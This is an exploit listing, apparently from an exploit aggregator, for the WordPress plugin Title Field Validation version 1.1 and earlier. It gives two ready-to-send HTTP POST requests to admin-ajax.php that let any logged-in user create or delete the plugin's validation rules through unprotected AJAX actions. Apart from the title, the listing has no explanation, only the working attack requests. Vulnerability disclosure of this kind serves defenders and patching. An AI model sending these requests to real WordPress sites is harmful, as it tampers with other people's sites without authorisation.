Exploit for Title Field Validation <= 1.1 - Unauthorised AJAX Calls

## https://sploitus.com/exploit?id=WPEX-ID:CC5938A3-A7D8-4DFA-8256-9ACE889AB4B4
To create a validation

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 124
Connection: close
Cookie: [any authenticated user]

action=save_validation&tfv_post_type=post&tfv_title_label=Attacker2&tfv_title_error=aa&tfv_content_label=&tfv_content_error=


To delete a validation

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 29
Connection: close
Cookie: [any authenticated user]

action=delete_validation&id=2